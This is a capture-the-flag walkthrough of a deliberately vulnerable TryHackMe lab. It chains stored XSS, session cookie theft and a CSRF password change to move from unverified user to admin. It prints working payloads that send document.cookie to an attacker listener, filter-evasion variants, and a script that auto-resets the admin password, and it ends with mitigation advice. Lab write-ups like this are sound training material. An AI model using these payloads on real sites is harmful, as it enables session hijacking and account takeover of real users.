TryHackMe: Whats Your Name?
This room simulates a deliberately vulnerable social networking platform designed for client-side exploitation practice. Participants start as unverified users and must identify and exploit stored XSS vulnerabilities to escalate privileges and gain administrator access. The multi-stage attack chain recreates a realistic red-team scenario in which trust boundaries are systematically abused through browser-side vectors.
đź§˝ Enumeration
Before interacting with application functionality, we enumerate exposed services to map the attack surface and identify potential entry points.
Initial TCP port scan (fast, top-to-all ports) using common scripts and service detection. Results saved to 10.10.8.171-nmap.txt.
1
$ nmap -Pn -p- -sS -sV 10.10.8.171 -oN 10.10.8.171-nmap.txt
1
2
3
4
5
6
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8081/tcp open http Apache httpd 2.4.41 ((Ubuntu))
MAC Address: 02:6D:8B:97:E2:49 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The scan reveals three reachable services: SSH on port 22, an HTTP service on port 80, and another HTTP service on 8081. Note the HTTP server versions (Apache httpd 2.4.41) and the presence of an admin- or application-facing web server — useful targets for web-focused analysis.
Add a hosts entry to resolve the virtual host used by the application:
1
$ echo '10.10.8.171 worldwap.thm' | sudo tee -a /etc/hosts
Navigating to http://worldwap.thm/ reveals a minimal landing page with a visible registration form, while the service on port 8081 returns an empty or placeholder response.
The registration form contains four input fields — Username, Password, Email, and Name — and displays a prominent notice:
“You can now pre-register! Your details will be reviewed by the site moderator.”
The notice suggests a manual verification step by a site moderator — possibly implemented via an internal review workflow or an automated notification/email process. This moderation model creates an opportunity to test stored XSS vectors that persist in user-submitted content and may be viewed by privileged accounts.
Registering with test credentials (e.g. test/test) completes successfully and returns a confirmation dialogue.
Add a hosts entry for the login subdomain so the application’s routing and Host header behaviour match the intended environment:
1
$ echo '10.10.8.171 login.worldwap.thm' | sudo tee -a /etc/hosts
Attempting to log in as the newly created account produces the message “User not verified.” This indicates an internal review or moderation workflow is in place, which strengthens the hypothesis that user-submitted content may be inspected by privileged users — a high-value target for stored XSS attacks.
đź’‰ Stored XSS Exploitation
To capture outbound requests triggered by XSS payloads, start a lightweight Python HTTP server to act as a listener.
1
$ python3 -m http.server 8000
Submit the following payload in the Name field during registration. If the input is rendered without proper sanitization, the JavaScript will execute in the moderator’s browser when they review it.
1
2
3
4
<img
src="x"
onerror="new Image().src='http://10.10.245.168:8000/?c='+encodeURIComponent(btoa(document.cookie))"
/>
đź§Şas XSS Payload Variants
Alternative payloads may be required depending on HTML filter behavior. Below are several common evasion techniques, targeting different parser quirks or attribute contexts.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!-- Using Image() constructor inside attribute -->
<img
src="x"
onerror="(function(){var i=new Image(); i.src='http://10.10.245.168:8000/?c='+encodeURIComponent(btoa(document.cookie));})()"
/>
<!-- Direct script injection (if allowed) -->
<script>
new Image().src =
"http://10.10.245.168:8000/?c=" + encodeURIComponent(btoa(document.cookie));
</script>
<!-- Fallback with SVG -->
<svg
onload="location='http://10.10.245.168:8000/?c='+encodeURIComponent(btoa(document.cookie))"
></svg>
Registration succeeds with the malicious payload embedded in the Name field. Upon successful registration, the crafted payload is stored and awaits review — the attack now relies on the moderator visiting the entry.
Once viewed by the moderator, the stored XSS executes, sending their session cookie (Base64-encoded) to the attacker’s HTTP listener.
The listener captures the outbound request containing the stolen session data.
1
2
3
$ python3.9 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.8.171 - - [26/Oct/2025 10:29:03] "GET /?c=UEhQU0VTU0lEPXQ1aDZtM3NiNnR0bGFhMWNjN2g3M2JzYTZK HTTP/1.1" 200 -
Decoding the exfiltrated Base64 string reveals the moderator’s active PHP session ID — a critical foothold for privilege escalation.
đź§ Session Hijacking & Moderator Access
Inject the captured session cookie into the browser under the login.worldwap.thm domain using browser developer tools. If the session is still valid, this grants access to the target account. If not, the site may render a blank page or redirect to login.
Next, enumerate the login host to discover exposed endpoints and hidden admin panels. Use a directory scanner to brute-force discoverable paths.
1
$ gobuster dir -u http://login.worldwap.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php -o gobuster_login.txt
Sample output (abridged):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/index.php (Status: 200) [Size: 70]
/.php (Status: 403) [Size: 283]
/login.php (Status: 200) [Size: 3108]
/profile.php (Status: 302) [Size: 0] [--> login.php]
/clear.php (Status: 200) [Size: 4]
/assets (Status: 301) [Size: 325] [--> http://login.worldwap.thm/assets/]
/chat.php (Status: 302) [Size: 0] [--> login.php]
/db.php (Status: 200) [Size: 0]
/logout.php (Status: 302) [Size: 0] [--> login.php]
/setup.php (Status: 200) [Size: 149]
/block.php (Status: 200) [Size: 15]
/phpmyadmin (Status: 301) [Size: 329] [--> http://login.worldwap.thm/phpmyadmin/]
/change_password.php (Status: 302) [Size: 4] [--> login.php]
/server-status (Status: 403) [Size: 283]
The scan reveals multiple reachable endpoints, including login-related pages, a potential phpMyAdmin interface, and various internal scripts. /change_password.php stands out due to its access restriction note.
With the captured cookie injected, navigating to /login.php authenticates the session as the Moderator user — without requiring credentials.
The session hijack grants Moderator-level access, unlocking restricted features and revealing the first flag on the dashboard.
The dashboard reveals two additional features: Change Password and Go to Chat — likely restricted to privileged users.
Accessing /change_password.php displays: “This feature is under development and works only if you are logged in as an admin.” This suggests that the Moderator role lacks full administrative privileges, and higher escalation may be possible.
💬 Stored XSS via Chat → Admin Privilege Escalation
The Go to Chat feature exposes a real-time messaging interface where the Admin Bot is active. This is an ideal injection point for delivering a stored XSS payload that executes in the admin’s browser context.
To validate that messages are rendered without sanitization, send a harmless XSS test payload:
1
2
3
<script>
alert(document.cookie);
</script>
confirms that messages are rendered unsafely — validating stored XSS execution within the chat interface.
Inspecting /change_password.php source code shows the parameter used for password changes:
We can now craft a malicious payload that automatically submits a password reset form when viewed by the admin:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script>
window.onload = function () {
var form = document.createElement("form");
form.method = "POST";
form.action = "http://login.worldwap.thm/change_password.php";
var input = document.createElement("input");
input.type = "hidden";
input.name = "new_password";
input.value = "Password123@";
form.appendChild(input);
document.body.appendChild(form);
form.submit();
};
</script>
To avoid detection by naive filters, the URL can be obfuscated using string concatenation or Unicode escaping:
1
2
3
4
5
form.action =
"ht" + "tp" + "://" + "login." + "worldwap" + ".thm" + "/change_password.php";
// or
form.action =
"\u0068\u0074\u0074\u0070\u003a\u002f\u002flogin.worldwap.thm/change_password.php";
Once injected into the chat, the payload silently changes the admin password when the bot (or an admin) reads the message.
After the attack executes, log out and sign back in as admin using the injected password.
Success — Administrator privileges obtained and the second flag recovered.
đź§ą Red Team Flow Summary
1
2
3
4
5
6
7
8
9
[ Attacker sends malicious chat message (stored XSS) ]
↓
[ Admin views chat → payload executes in browser ]
↓
[ Script auto-submits POST request to change password ]
↓
[ Admin session cookie authenticates request ]
↓
[ Password successfully changed → attacker logs in as admin ]
🛡️ Mitigation & Recommendations
Input Sanitization:
Validate and sanitize all user inputs on the server side. Libraries like DOMPurify can strip dangerous tags such as<script>and event attributes.Output Encoding:
Encode user-supplied data before rendering in HTML. Use safe DOM APIs such astextContentinstead ofinnerHTML.Content Security Policy (CSP):
Enforce strict CSP headers to mitigate script execution:
Content-Security-Policy: default-src 'self'; script-src 'none'; object-src 'none';Cookie Security:
Mark session cookies asHttpOnly,Secure, andSameSite=Strictto prevent theft via JavaScript and limit cross-site requests.Session Lifecycle Management:
Automatically expire or rotate sessions after moderator reviews or privilege changes to invalidate any stolen tokens.Privilege Isolation:
Separate moderator and admin functionalities into isolated subdomains or sandboxed iframes to minimize XSS impact.CSRF Protection:
Implement anti-CSRF tokens for sensitive actions such as password changes to block unauthorized requests.
This challenge highlights a full exploitation chain combining stored XSS, CSRF, and session hijacking — a realistic APT-style flow from user-level access to full administrative control.

.webp)
.webp)
.webp)
.webp)
.webp)
.webp)
.webp)
.webp)
.webp)
.webp)
.webp)
.webp)
.webp)
.webp)
.webp)
.webp)
.webp)